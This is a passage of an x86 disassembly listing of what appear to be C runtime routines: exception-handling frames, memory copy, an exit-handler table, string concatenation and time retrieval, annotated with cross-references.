					; ___:00426D85j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421C4B
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0C1	proc near		; CODE XREF: sub_4220C1+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D115
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422450
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D0C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D115	proc near		; DATA XREF: sub_41D0C1+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421C4B
		add	esp, 20h
		pop	ebp
		retn
sub_41D115	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D13A	proc near		; CODE XREF: sub_421E8D+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D1EE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D1C0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4D97C0
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D1C0:				; DATA XREF: sub_41D13A+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D1DD
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D1E6
; ---------------------------------------------------------------------------


loc_41D1DD:				; CODE XREF: sub_41D13A+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D1E6:				; CODE XREF: sub_41D13A+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D13A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1EE	proc near		; DATA XREF: sub_41D13A+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D211
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D211:				; CODE XREF: sub_41D1EE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421C4B
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D24F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D03C
; ---------------------------------------------------------------------------


loc_41D24F:				; CODE XREF: sub_41D1EE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D25E:				; CODE XREF: sub_41D1EE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D1EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D263	proc near		; CODE XREF: sub_421CE6+C6p
					; sub_421E8D+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D2BA


loc_41D281:				; CODE XREF: sub_41D263+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D28B
		call	sub_4224F2


loc_41D28B:				; CODE XREF: sub_41D263+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D2A0
		cmp	ecx, [eax+8]
		jle	short loc_41D2A5


loc_41D2A0:				; CODE XREF: sub_41D263+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D2B1


loc_41D2A5:				; CODE XREF: sub_41D263+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D2B1:				; CODE XREF: sub_41D263+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D281
		mov	eax, [ebp+var_4]


loc_41D2BA:				; CODE XREF: sub_41D263+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D2CE
		cmp	esi, eax
		jbe	short loc_41D2D3


loc_41D2CE:				; CODE XREF: sub_41D263+65j
		call	sub_4224F2


loc_41D2D3:				; CODE XREF: sub_41D263+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D263	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2E0	proc near		; CODE XREF: sub_4233C0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D2F8
		push	[ebp+arg_0]
		call	sub_42663C
sub_41D2E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2F8	proc near		; DATA XREF: sub_41D2E0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D2F8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D300	proc near		; DATA XREF: sub_41D322+Ao
					; sub_41D38A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D321
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D321:				; CODE XREF: sub_41D300+10j
		retn
sub_41D300	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D322	proc near		; CODE XREF: sub_422167+Dp
					; sub_4233C0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D300
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D33F:				; CODE XREF: sub_41D322:loc_41D37Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D37C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D37C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D37A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D3B6
		call	dword ptr [ebx+esi*4+8]


loc_41D37A:				; CODE XREF: sub_41D322+44j
		jmp	short loc_41D33F
; ---------------------------------------------------------------------------


loc_41D37C:				; CODE XREF: sub_41D322+2Aj
					; sub_41D322+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D322	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D38A	proc near		; CODE XREF: sub_422187+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D300
		jnz	short locret_41D3AC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D3AC
		mov	eax, 1

locret_41D3AC:				; CODE XREF: sub_41D38A+10j
					; sub_41D38A+1Bj
		retn
sub_41D38A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3AD	proc near		; CODE XREF: sub_422450+1Ep
					; sub_422450+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A65C
		jmp	short loc_41D3C0
sub_41D3AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3B6	proc near		; CODE XREF: sub_41D322+4Fp
					; sub_4233C0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A65C
		mov	ecx, [ebp+8]


loc_41D3C0:				; CODE XREF: sub_41D3AD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D3B6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D3D0	proc near		; CODE XREF: sub_40D327+5p
					; sub_40D4C9+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D3D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D3EF	proc near		; CODE XREF: sub_40D968+26p
					; ___:004263D2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA31
		pop	ecx
		retn
sub_41D3EF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D400	proc near		; CODE XREF: sub_40D9D9+3Ap
					; sub_41E4A2+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D420
		cmp	edi, eax
		jb	loc_41D598


loc_41D420:				; CODE XREF: sub_41D400+16j
		test	edi, 3
		jnz	short loc_41D43C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D45C
		rep movsd
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------


loc_41D43C:				; CODE XREF: sub_41D400+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D454
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D45C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D454:				; CODE XREF: sub_41D400+46j
		jmp	dword ptr loc_41D558[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D45C:				; CODE XREF: sub_41D400+31j
					; sub_41D400+8Ej ...
		jmp	off_41D4DC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D470
		dd offset loc_41D49C
		dd offset loc_41D4C0
; ---------------------------------------------------------------------------


loc_41D470:				; DATA XREF: sub_41D400+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D45C
		rep movsd
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D49C:				; DATA XREF: sub_41D400+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D45C
		rep movsd
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D4C0:				; DATA XREF: sub_41D400+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D45C
		rep movsd
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D4DC	dd offset loc_41D53F	; DATA XREF: sub_41D400:loc_41D45Cr
		dd offset loc_41D52C
		dd offset loc_41D524
		dd offset loc_41D51C
		dd offset loc_41D514
		dd offset loc_41D50C
		dd offset loc_41D504
		dd offset loc_41D4FC
; ---------------------------------------------------------------------------


loc_41D4FC:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D504:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D50C:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D514:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D51C:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D524:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D52C:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D53F:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400:off_41D4DCo
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D548	dd offset loc_41D558	; DATA XREF: sub_41D400+35r
					; sub_41D400+92r ...
		dd offset loc_41D560
		dd offset loc_41D56C
		dd offset loc_41D580
; ---------------------------------------------------------------------------


loc_41D558:				; CODE XREF: sub_41D400+35j
					; sub_41D400+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D560:				; CODE XREF: sub_41D400+35j
					; sub_41D400+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D56C:				; CODE XREF: sub_41D400+35j
					; sub_41D400+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D580:				; CODE XREF: sub_41D400+35j
					; sub_41D400+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D598:				; CODE XREF: sub_41D400+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D5CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D5C0
		std
		rep movsd
		cld
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D5C0:				; CODE XREF: sub_41D400+1B1j
					; sub_41D400+208j ...
		neg	ecx
		jmp	off_41D690[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D5CC:				; CODE XREF: sub_41D400+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D5E4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D5E4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D5E4:				; CODE XREF: sub_41D400+1D6j
					; DATA XREF: sub_41D400+1DDr
		jmp	off_41D6E0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		clc
		aad	41h
		add	[eax], bl
		setalc
		inc	ecx
		add	[eax-2Ah], al
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D5C0
		std
		rep movsd
		cld
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D5C0
		std
		rep movsd
		cld
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D5C0
		std
		rep movsd
		cld
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D694
		dd offset loc_41D69C
		dd offset loc_41D6A4
		dd offset loc_41D6AC
		dd offset loc_41D6B4
		dd offset loc_41D6BC
		dd offset loc_41D6C4
off_41D690	dd offset loc_41D6D7	; DATA XREF: sub_41D400+1C2r
; ---------------------------------------------------------------------------


loc_41D694:				; DATA XREF: sub_41D400+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D69C:				; DATA XREF: sub_41D400+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D6A4:				; DATA XREF: sub_41D400+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D6AC:				; DATA XREF: sub_41D400+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D6B4:				; DATA XREF: sub_41D400+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D6BC:				; DATA XREF: sub_41D400+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D6C4:				; DATA XREF: sub_41D400+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D6D7:				; CODE XREF: sub_41D400+1C2j
					; DATA XREF: sub_41D400:off_41D690o
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D6E0	dd offset loc_41D6F0	; DATA XREF: sub_41D400+1B7r
					; sub_41D400:loc_41D5E4r ...
		dd offset loc_41D6F8
		dd offset loc_41D708
		dd offset loc_41D71C
; ---------------------------------------------------------------------------


loc_41D6F0:				; CODE XREF: sub_41D400+1B7j
					; sub_41D400:loc_41D5E4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D6F8:				; CODE XREF: sub_41D400+1B7j
					; sub_41D400:loc_41D5E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D708:				; CODE XREF: sub_41D400+1B7j
					; sub_41D400:loc_41D5E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D71C:				; CODE XREF: sub_41D400+1B7j
					; sub_41D400:loc_41D5E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D400	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D735	proc near		; CODE XREF: sub_40DA40+34p
					; sub_40DA40+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BCAD
		pop	ecx
		pop	ecx
		retn
sub_41D735	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D743	proc near		; CODE XREF: sub_41D7B0+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DADB4
		call	sub_422548
		mov	edx, dword_4DADB4
		pop	ecx
		mov	ecx, dword_4DADB0
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D7A2
		push	edx
		call	sub_422548
		add	eax, 10h
		push	eax
		push	dword_4DADB4
		call	sub_41BB48
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D785
		retn
; ---------------------------------------------------------------------------


loc_41D785:				; CODE XREF: sub_41D743+3Fj
		mov	ecx, dword_4DADB0
		sub	ecx, dword_4DADB4
		mov	dword_4DADB4, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DADB0, ecx


loc_41D7A2:				; CODE XREF: sub_41D743+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DADB0, 4
		retn
sub_41D743	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D7B0	proc near		; CODE XREF: sub_40DB2D+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D743
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D7B0	endp

; ---------------------------------------------------------------------------
		push	80h
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		mov	dword_4DADB4, eax
		jnz	short loc_41D7E3
		push	18h
		call	sub_41E1C9
		mov	eax, dword_4DADB4
		pop	ecx


loc_41D7E3:				; CODE XREF: ___:0041D7D4j
		and	dword ptr [eax], 0
		mov	eax, dword_4DADB4
		mov	dword_4DADB0, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D7F1	proc near		; CODE XREF: sub_40DB4F+7Ap
					; sub_40DB4F+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41D805


loc_41D7FD:				; CODE XREF: sub_41D7F1+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41D7FD


loc_41D805:				; CODE XREF: sub_41D7F1+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41D80A:				; CODE XREF: sub_41D7F1+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41D80A
		pop	esi
		retn
sub_41D7F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D81B	proc near		; CODE XREF: ___:0040E534p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 27B0000h
		nop
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2890000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4D9782
		jnz	short loc_41D880
		mov	ax, [ebp+var_18]
		cmp	ax, word_4D9780
		jnz	short loc_41D880
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4D977E
		jnz	short loc_41D880
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4D977A
		jnz	short loc_41D880
		mov	ax, [ebp+var_20]
		cmp	ax, word_4D9778
		jnz	short loc_41D880
		mov	eax, dword_4D9770
		jmp	short loc_41D8C5
; ---------------------------------------------------------------------------


loc_41D880:				; CODE XREF: sub_41D81B+28j
					; sub_41D81B+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2880000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D8AD
		cmp	eax, 2
		jnz	short loc_41D8A9
		cmp	[ebp+var_32], 0
		jz	short loc_41D8A9
		cmp	[ebp+var_24], 0
		jz	short loc_41D8A9
		push	1
		pop	eax
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D8A9:				; CODE XREF: sub_41D81B+7Aj
					; sub_41D81B+81j ...
		xor	eax, eax
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D8AD:				; CODE XREF: sub_41D81B+75j
		or	eax, 0FFFFFFFFh


loc_41D8B0:				; CODE XREF: sub_41D81B+8Cj
					; sub_41D81B+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4D9778
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4D9770, eax
		pop	esi


loc_41D8C5:				; CODE XREF: sub_41D81B+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422571
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D8F5
		mov	[ecx], eax

locret_41D8F5:				; CODE XREF: sub_41D81B+D6j
		leave
		retn
sub_41D81B	endp

